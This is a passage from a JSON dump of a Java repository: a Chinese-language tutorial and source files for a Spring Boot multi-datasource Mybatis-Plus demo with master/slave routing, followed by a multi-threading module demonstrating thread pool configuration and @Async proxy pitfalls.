    "content": "# spring-boot-demo-multi-datasource-mybatis\n\n> 此 demo 主要演示了 Spring Boot 如何集成 Mybatis 的多数据源。可以自己基于AOP实现多数据源，这里基于 Mybatis-Plus 提供的一个优雅的开源的解决方案来实现。\n\n## 准备工作\n\n准备两个数据源，分别执行如下建表语句\n\n```mysql\nDROP TABLE IF EXISTS `multi_user`;\nCREATE TABLE `multi_user`(\n  `id` bigint(64) NOT NULL,\n  `name` varchar(50) DEFAULT NULL,\n  `age` int(30) DEFAULT NULL,\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB\n  AUTO_INCREMENT = 1\n  CHARACTER SET = utf8\n  COLLATE = utf8_general_ci;\n```\n\n## 导入依赖\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-multi-datasource-mybatis</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-multi-datasource-mybatis</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>com.xkcoding</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>3.0.7.1</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-multi-datasource-mybatis</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## 准备实体类\n\n`model.User.java`\n\n> 1. @Data / @NoArgsConstructor / @AllArgsConstructor / @Builder 都是 lombok 注解\n> 2. @TableName(\"multi_user\") 是 Mybatis-Plus 注解，主要是当实体类名字和表名不满足 **驼峰和下划线互转** 的格式时，用于表示数据库表名\n> 3. @TableId(type = IdType.ID_WORKER) 是 Mybatis-Plus 注解，主要是指定主键类型，这里我使用的是 Mybatis-Plus 基于 twitter 提供的 雪花算法\n\n```java\n/**\n * <p>\n * User实体类\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.mybatis.model\n * @description: User实体类\n * @author: yangkai.shen\n * @date: Created in 2019-01-21 14:19\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@TableName(\"multi_user\")\n@NoArgsConstructor\n@AllArgsConstructor\n@Builder\npublic class model.User implements Serializable {\n    private static final long serialVersionUID = -1923859222295750467L;\n\n    /**\n     * 主键\n     */\n    @TableId(type = IdType.ID_WORKER)\n    private Long id;\n\n    /**\n     * 姓名\n     */\n    private String name;\n\n    /**\n     * 年龄\n     */\n    private Integer age;\n}\n```\n\n## 数据访问层\n\n`UserMapper.java`\n\n> 不需要建对应的xml，只需要继承 BaseMapper 就拥有了大部分单表操作的方法了。\n\n```java\n/**\n * <p>\n * 数据访问层\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.mybatis.mapper\n * @description: 数据访问层\n * @author: yangkai.shen\n * @date: Created in 2019-01-21 14:28\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface UserMapper extends BaseMapper<model.User> {\n}\n```\n\n## 数据服务层\n\n### 接口\n\n`UserService.java`\n\n```java\n/**\n * <p>\n * 数据服务层\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.mybatis.service\n * @description: 数据服务层\n * @author: yangkai.shen\n * @date: Created in 2019-01-21 14:31\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface UserService extends IService<model.User> {\n\n    /**\n     * 添加 model.User\n     *\n     * @param user 用户\n     */\n    void addUser(model.User user);\n}\n```\n\n### 实现\n\n`UserServiceImpl.java`\n\n> 1. @DS: 注解在类上或方法上来切换数据源，方法上的@DS优先级大于类上的@DS\n> 2. baseMapper: mapper 对象，即`UserMapper`，可获得CRUD功能\n> 3. 默认走从库: `@DS(value = \"slave\")`在类上，默认走从库，除非在方法在添加`@DS(value = \"master\")`才走主库\n\n```java\n/**\n * <p>\n * 数据服务层 实现\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.mybatis.service.impl\n * @description: 数据服务层 实现\n * @author: yangkai.shen\n * @date: Created in 2019-01-21 14:37\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Service\n@DS(\"slave\")\npublic class UserServiceImpl extends ServiceImpl<UserMapper, model.User> implements UserService {\n\n    /**\n     * 类上 {@code @DS(\"slave\")} 代表默认从库，在方法上写 {@code @DS(\"master\")} 代表默认主库\n     *\n     * @param user 用户\n     */\n    @DS(\"master\")\n    @Override\n    public void addUser(model.User user) {\n        baseMapper.insert(user);\n    }\n}\n```\n\n## 启动类\n\n`SpringBootDemoMultiDatasourceMybatisApplication.java`\n\n> 启动类上方需要使用@MapperScan扫描 mapper 类所在的包\n\n```java\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.mybatis\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2019-01-21 14:19\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\n@MapperScan(basePackages = \"com.xkcoding.multi.datasource.mybatis.mapper\")\npublic class SpringBootDemoMultiDatasourceMybatisApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoMultiDatasourceMybatisApplication.class, args);\n    }\n\n}\n```\n\n## 配置文件\n\n`application.yml`\n\n```yaml\nspring:\n  datasource:\n    dynamic:\n      datasource:\n        master:\n          username: root\n          password: root\n          url: jdbc:mysql://127.0.0.1:3306/spring-boot-demo?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n          driver-class-name: com.mysql.cj.jdbc.Driver\n        slave:\n          username: root\n          password: root\n          url: jdbc:mysql://127.0.0.1:3306/spring-boot-demo-2?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n          driver-class-name: com.mysql.cj.jdbc.Driver\n      mp-enabled: true\nlogging:\n  level:\n    com.xkcoding.multi.datasource.mybatis: debug\n```\n\n## 测试类\n\n```java\n/**\n * <p>\n * 测试主从数据源\n * </p>\n *\n * @package: com.xkcoding.multi.datasource.mybatis.service.impl\n * @description: 测试主从数据源\n * @author: yangkai.shen\n * @date: Created in 2019-01-21 14:45\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\npublic class UserServiceImplTest extends SpringBootDemoMultiDatasourceMybatisApplicationTests {\n    @Autowired\n    private UserService userService;\n\n    /**\n     * 主从库添加\n     */\n    @Test\n    public void addUser() {\n        model.User userMaster = model.User.builder().name(\"主库添加\").age(20).build();\n        userService.addUser(userMaster);\n\n        model.User userSlave = model.User.builder().name(\"从库添加\").age(20).build();\n        userService.save(userSlave);\n    }\n\n    /**\n     * 从库查询\n     */\n    @Test\n    public void testListUser() {\n        List<model.User> list = userService.list(new QueryWrapper<>());\n        log.info(\"【list】= {}\", JSONUtil.toJsonStr(list));\n    }\n}\n```\n\n### 测试结果\n\n主从数据源加载成功\n\n```java\n2019-01-21 14:55:41.096  INFO 7239 --- [           main] com.zaxxer.hikari.HikariDataSource       : master - Starting...\n2019-01-21 14:55:41.307  INFO 7239 --- [           main] com.zaxxer.hikari.HikariDataSource       : master - Start completed.\n2019-01-21 14:55:41.308  INFO 7239 --- [           main] com.zaxxer.hikari.HikariDataSource       : slave - Starting...\n2019-01-21 14:55:41.312  INFO 7239 --- [           main] com.zaxxer.hikari.HikariDataSource       : slave - Start completed.\n2019-01-21 14:55:41.312  INFO 7239 --- [           main] c.b.d.d.DynamicRoutingDataSource         : 初始共加载 2 个数据源\n2019-01-21 14:55:41.313  INFO 7239 --- [           main] c.b.d.d.DynamicRoutingDataSource         : 动态数据源-加载 slave 成功\n2019-01-21 14:55:41.313  INFO 7239 --- [           main] c.b.d.d.DynamicRoutingDataSource         : 动态数据源-加载 master 成功\n2019-01-21 14:55:41.313  INFO 7239 --- [           main] c.b.d.d.DynamicRoutingDataSource         : 当前的默认数据源是单数据源，数据源名为 master\n _ _   |_  _ _|_. ___ _ |    _ \n| | |\\/|_)(_| | |_\\  |_)||_|_\\ \n     /               |         \n                        3.0.7.1 \n```\n\n**主**库 **建议** 只执行 **INSERT** **UPDATE** **DELETE** 操作\n\n![image-20190121153211509](assets/image-20190121153211509.png)\n\n**从**库 **建议** 只执行 **SELECT** 操作\n\n![image-20190121152825859](assets/image-20190121152825859.png)\n\n> 生产环境需要搭建 **主从复制**\n\n## 参考\n\n1. Mybatis-Plus 多数据源文档：https://mybatis.plus/guide/dynamic-datasource.html\n2. Mybatis-Plus 多数据源集成官方 demo：https://gitee.com/baomidou/dynamic-datasource-spring-boot-starter/tree/master/samples"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_multi_datasource_mybatis</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>  \n\t\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>3.1.0</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_multi_datasource_mybatis</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/sql/db.sql",
    "content": "DROP TABLE IF EXISTS `multi_user`;\nCREATE TABLE `multi_user`(\n  `id` bigint(64) NOT NULL,\n  `name` varchar(50) DEFAULT NULL,\n  `age` int(30) DEFAULT NULL,\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB\n  AUTO_INCREMENT = 1\n  CHARACTER SET = utf8\n  COLLATE = utf8_general_ci;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/src/main/java/com/jun/plugin/multi/datasource/mybatis/SpringBootDemoMultiDatasourceMybatisApplication.java",
    "content": "package com.jun.plugin.multi.datasource.mybatis;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * 启动器\n */\n@SpringBootApplication\n@MapperScan(basePackages = \"com.jun.plugin.multi.datasource.mybatis.mapper\")\npublic class SpringBootDemoMultiDatasourceMybatisApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoMultiDatasourceMybatisApplication.class, args);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/src/main/java/com/jun/plugin/multi/datasource/mybatis/mapper/UserMapper.java",
    "content": "package com.jun.plugin.multi.datasource.mybatis.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport com.jun.plugin.multi.datasource.mybatis.model.User;\n\n/**\n * 数据访问层\n */\npublic interface UserMapper extends BaseMapper<User> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/src/main/java/com/jun/plugin/multi/datasource/mybatis/model/User.java",
    "content": "package com.jun.plugin.multi.datasource.mybatis.model;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\n\n/**\n * User实体类\n */\n@Data\n@TableName(\"multi_user\")\n@NoArgsConstructor\n@AllArgsConstructor\n@Builder\npublic class User implements Serializable {\n    private static final long serialVersionUID = -1923859222295750467L;\n\n    /**\n     * 主键\n     */\n    @TableId(type = IdType.ID_WORKER)\n    private Long id;\n\n    /**\n     * 姓名\n     */\n    private String name;\n\n    /**\n     * 年龄\n     */\n    private Integer age;\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/src/main/java/com/jun/plugin/multi/datasource/mybatis/service/UserService.java",
    "content": "package com.jun.plugin.multi.datasource.mybatis.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport com.jun.plugin.multi.datasource.mybatis.model.User;\n\n/**\n * 数据服务层\n */\npublic interface UserService extends IService<User> {\n\n    /**\n     * 添加 User\n     *\n     * @param user 用户\n     */\n    void addUser(User user);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/src/main/java/com/jun/plugin/multi/datasource/mybatis/service/impl/UserServiceImpl.java",
    "content": "package com.jun.plugin.multi.datasource.mybatis.service.impl;\n\nimport com.baomidou.dynamic.datasource.annotation.DS;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.jun.plugin.multi.datasource.mybatis.mapper.UserMapper;\nimport com.jun.plugin.multi.datasource.mybatis.model.User;\nimport com.jun.plugin.multi.datasource.mybatis.service.UserService;\n\nimport org.springframework.stereotype.Service;\n\n/**\n * 数据服务层 实现\n */\n@Service\n@DS(\"slave\")\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements UserService {\n\n    /**\n     * 类上 {@code @DS(\"slave\")} 代表默认从库，在方法上写 {@code @DS(\"master\")} 代表默认主库\n     *\n     * @param user 用户\n     */\n    @DS(\"master\")\n    @Override\n    public void addUser(User user) {\n        baseMapper.insert(user);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/src/main/resources/application.yml",
    "content": "spring:\n  datasource:\n    dynamic:\n      datasource:\n        master:\n          username: root\n          password: \n          url: jdbc:mysql://127.0.0.1:3306/test666?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n          driver-class-name: com.mysql.cj.jdbc.Driver\n        slave:\n          username: root\n          password: \n          url: jdbc:mysql://127.0.0.1:3306/test?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n          driver-class-name: com.mysql.cj.jdbc.Driver\n      mp-enabled: true\nlogging:\n  level:\n    com.jun.plugin.multi.datasource.mybatis: debug"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/src/test/java/com/jun/plugin/multi/datasource/mybatis/SpringBootDemoMultiDatasourceMybatisApplicationTests.java",
    "content": "package com.jun.plugin.multi.datasource.mybatis;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoMultiDatasourceMybatisApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_datasource_mybatis/src/test/java/com/jun/plugin/multi/datasource/mybatis/service/impl/UserServiceImplTest.java",
    "content": "package com.jun.plugin.multi.datasource.mybatis.service.impl;\n\nimport cn.hutool.json.JSONUtil;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.jun.plugin.multi.datasource.mybatis.SpringBootDemoMultiDatasourceMybatisApplicationTests;\nimport com.jun.plugin.multi.datasource.mybatis.model.User;\nimport com.jun.plugin.multi.datasource.mybatis.service.UserService;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.junit.Test;\nimport org.springframework.beans.factory.annotation.Autowired;\n\nimport java.util.List;\n\n/**\n * 测试主从数据源\n */\n@Slf4j\npublic class UserServiceImplTest extends SpringBootDemoMultiDatasourceMybatisApplicationTests {\n    @Autowired\n    private UserService userService;\n\n    /**\n     * 主从库添加\n     */\n    @Test\n    public void addUser() {\n        User userMaster = User.builder().name(\"主库添加\").age(20).build();\n        userService.addUser(userMaster);\n\n        User userSlave = User.builder().name(\"从库添加\").age(20).build();\n        userService.save(userSlave);\n    }\n\n    /**\n     * 从库查询\n     */\n    @Test\n    public void testListUser() {\n        List<User> list = userService.list(new QueryWrapper<>());\n        log.info(\"【list】= {}\", JSONUtil.toJsonStr(list));\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_threading/README.md",
    "content": "# Spring Boot多线程\n\n## 1 概述\n\n以自定义线程池控制Spring Boot的多线程\n\n\n\n**多线程使用：**\n\n1. 在启动类加上**@EnableAsync**注解\n2. 在对应的方法加上**@Async()**注解，也可以是【建议】**@Async(\"default\")**，其中default就是配置类**ThreadPoolTaskConfig**对应的线程池\n\n\n\n## 2 @Async失效原因及解决方案\n\n原因：\n\n1. 没有在@SpringBootApplication启动类当中添加注解@EnableAsync注解。\n2. 异步方法使用注解@Async的返回值只能为void或者Future。\n3. 没有走Spring的代理类。因为@Transactional和@Async注解的实现都是基于Spring的AOP，而AOP的实现是基于动态代理模式实现的。那么注解失效的原因就很明显了，有可能因为**调用方法的是对象本身而不是代理对象**，因为没有经过Spring容器。**【简而言之：不能由本类内其它函数调用，必须是外部使用者调用。】**\n\n解决方案（基于第三点）\n\n1. 从上下文中获取Bean\n2. 使用懒加载自己注入自己\n3. 示例：**ThreadService**\n\n\n\n\n\n## 3 其它参考\n\n线程池：Java 线程池学习总结、拿来即用的 Java 线程池最佳实践：https://snailclimb.gitee.io/javaguide/#/./docs/java/concurrent/java%E7%BA%BF%E7%A8%8B%E6%B1%A0%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93?id=%e4%b8%83-%e7%ba%bf%e7%a8%8b%e6%b1%a0%e5%a4%a7%e5%b0%8f%e7%a1%ae%e5%ae%9a\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_threading/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_multi_threading</artifactId>\n\t<version>1.0</version>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n        <knife4j.version>2.0.7</knife4j.version>\n    </properties>\n\n    <dependencies>\n        <!-- web启动 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_threading/src/main/java/com/example/MultiThreadApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.scheduling.annotation.EnableAsync;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n **/\n@EnableAsync//多线程\n@SpringBootApplication\npublic class MultiThreadApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(MultiThreadApplication.class);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_threading/src/main/java/com/example/config/ThreadPoolTaskConfig.java",
    "content": "package com.example.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;\n\nimport java.util.concurrent.ThreadPoolExecutor;\n\n/**\n * <p>\n * 统一线程池管理\n * </p>\n *\n * @author MrWen\n **/\n@Configuration\npublic class ThreadPoolTaskConfig {\n\n    /**\n     * Async注解和事务一样，都是用AOP代理。事务有什么坑，Async也就有\n     * 常见的坑；不能由本类内其它函数调用，必须是外部使用者调用。因为内部函数调用会出现代理绕过，从而无法执行异步，不会出错，会变成同步操作 （使用了线程池和动态代理）\n     * <p>\n     * ThreadPoolExecutor 3 个最重要的参数：\n     * <p>\n     * corePoolSize : 核心线程数线程数定义了最小可以同时运行的线程数量。\n     * maximumPoolSize : 当队列中存放的任务达到队列容量的时候，当前可以同时运行的线程数量变为最大线程数。\n     * workQueue: 当新任务来的时候会先判断当前运行的线程数量是否达到核心线程数，如果达到的话，新任务就会被存放在队列中。\n     * <p>\n     * ThreadPoolExecutor其他常见参数:\n     * keepAliveTime:当线程池中的线程数量大于 corePoolSize 的时候，如果这时没有新的任务提交，核心线程外的线程不会立即销毁，而是会等待，直到等待的时间超过了 keepAliveTime才会被回收销毁；\n     * unit : keepAliveTime 参数的时间单位。\n     * threadFactory :executor 创建新线程的时候会用到。\n     * <p>\n     * handler :饱和策略。\n     * ThreadPoolExecutor.AbortPolicy：抛出 RejectedExecutionException来拒绝新任务的处理。  默认\n     * ThreadPoolExecutor.CallerRunsPolicy：调用执行自己的线程运行任务，也就是直接在调用execute方法的线程中运行(run)被拒绝的任务，如果执行程序已关闭，则会丢弃该任务。因此这种策略会降低对于新任务提交速度，影响程序的整体性能。如果您的应用程序可以承受此延迟并且你要求任何一个任务请求都要被执行的话，你可以选择这个策略。\n     * ThreadPoolExecutor.DiscardPolicy： 不处理新任务，直接丢弃掉。\n     * ThreadPoolExecutor.DiscardOldestPolicy： 此策略将丢弃最早的未处理的任务请求。\n     */\n    @Bean(name = \"default\")\n    public ThreadPoolTaskExecutor executor() {\n        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();\n        //此方法返回可用处理器的虚拟机的最大数量; 不小于1\n        int core = Runtime.getRuntime().availableProcessors();\n        executor.setCorePoolSize(core);//设置核心线程数\n        executor.setMaxPoolSize(core * 2 + 1);//设置最大线程数\n        executor.setKeepAliveSeconds(3);//除核心线程外的线程存活时间\n        executor.setQueueCapacity(40);//如果传入值大于0，底层队列使用的是LinkedBlockingQueue,否则默认使用SynchronousQueue\n        executor.setThreadNamePrefix(\"thread-default-execute\");//线程名称前缀\n        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.AbortPolicy());//设置拒绝策略，抛出 RejectedExecutionException来拒绝新任务的处理。\n//        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());//设置拒绝策略，使用主线程\n//        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.DiscardPolicy());//设置拒绝策略，直接丢弃掉\n//        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.DiscardOldestPolicy());//设置拒绝策略，丢弃最早的未处理的任务请求。\n        return executor;\n    }\n\n    @Bean(\"async\")\n    public ThreadPoolTaskExecutor asyncExecutor() {\n        ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();\n        //此方法返回可用处理器的虚拟机的最大数量; 不小于1\n        executor.setCorePoolSize(20);//设置核心线程数\n        executor.setMaxPoolSize(41);//设置最大线程数\n        executor.setKeepAliveSeconds(30);//除核心线程外的线程存活时间\n        executor.setQueueCapacity(100);//如果传入值大于0，底层队列使用的是LinkedBlockingQueue,否则默认使用SynchronousQueue\n        executor.setThreadNamePrefix(\"thread-async-execute\");//线程名称前缀\n        executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());//使用主线程\n        executor.setWaitForTasksToCompleteOnShutdown(true);\n        executor.setAwaitTerminationSeconds(60);\n        return executor;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_threading/src/main/java/com/example/service/ThreadService.java",
    "content": "package com.example.service;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.BeansException;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.context.annotation.Lazy;\nimport org.springframework.scheduling.annotation.Async;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * 多线程测试\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@Service\npublic class ThreadService implements ApplicationContextAware {\n\n    /**\n     * 上下文\n     */\n    private ApplicationContext applicationContext;\n\n    @Lazy\n    @Autowired\n    private ThreadService threadService;\n\n\n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n        this.applicationContext = applicationContext;\n    }\n\n    @Async(\"default\")\n    public void test1() {\n        log.info(\"test1--->ThreadId={},---->ThreadName={}\", Thread.currentThread().getId(), Thread.currentThread().getName());\n\n        //test2方法是同步，并不是异步。原因是：不能由本类内其它函数调用，必须是外部使用者调用。因为内部函数调用会出现代理绕过，从而无法执行异步，不会出错，会变成同步操作 （AOP动态代理）\n        this.test2();\n\n        //test3会异步，用上下文获取ThreadService的Bean，能被代理\n        ThreadService threadServiceBean = applicationContext.getBean(ThreadService.class);\n        threadServiceBean.test3();\n\n        //test4会异步,通过Lazy也是能被代理\n        threadService.test4();\n    }\n\n    @Async(\"default\")\n    public void test2() {\n        log.info(\"test2--->ThreadId={},---->ThreadName={}\", Thread.currentThread().getId(), Thread.currentThread().getName());\n    }\n\n\n    @Async(\"default\")\n    public void test3() {\n        log.info(\"test3--->ThreadId={},---->ThreadName={}\", Thread.currentThread().getId(), Thread.currentThread().getName());\n    }\n\n    @Async(\"default\")\n    public void test4() {\n        log.info(\"test4--->ThreadId={},---->ThreadName={}\", Thread.currentThread().getId(), Thread.currentThread().getName());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_threading/src/main/resources/application.yaml",
    "content": "server:\n  port: 7777\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multi_threading/src/test/java/com/example/BaseTest.java",
